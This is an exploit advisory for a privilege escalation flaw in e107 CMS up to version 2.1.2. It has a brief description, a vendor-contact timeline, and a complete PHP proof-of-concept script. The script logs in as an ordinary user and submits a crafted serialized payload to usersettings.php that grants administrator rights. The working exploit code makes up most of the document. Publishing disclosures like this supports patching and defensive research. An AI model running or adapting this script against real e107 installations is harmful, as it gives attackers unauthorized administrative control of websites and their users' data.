e107 CMS <= 2.1.2 Privilege Escalation

[Kacper Szurek <kacperszurek () gmail com>]

# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

Datas from `$_POST['updated_data']` inside `usersettings.php` are not
properly validated so we can set `user_admin`.

http://security.szurek.pl/e107-cms-211-privilege-escalation.html

2. Proof of Concept

<?php

/**
 * e107 CMS 2.1.2 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $login, $pass, $cookie){

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' =>
$login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
if (strpos($content, '?logout') === false) {
die("Cannot login");
}

$data = array();
$data['user_admin'] = 1;
$data['user_perms'] = 0;
$data['user_password'] = md5($pass);

curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
curl_setopt($ch, CURLOPT_POSTFIELDS,
http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' =>
base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)),
'currentpassword' => $pass)));
$content = curl_exec($ch);

if (strpos($content, 'Settings updated') === false) {
die("Exploit probably failed");
}

die('OK!');
}

$url = "http://url_here";;

// Standard user credentials
$user = "login_here";
$pass = "password_here";

$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);

3. Timeline
22-06-2016: Discovered
22-06-2016: Vendor notified
22-06-2016: Partially fixed -
https://github.com/e107inc/e107/commit/6a306323d4a14045d9ee4fe80f0153a9555fadff
28-06-2016: Regression -
https://github.com/e107inc/e107/commit/0af67301ea2743536ba8f3fe74751e000e3f495d
29-06-2016: Second email to vendor
26-10-2016: Third email to vendor
27-10-2016: Version 2.1.2 Released issue still not fixed
09-11-2016: POC released

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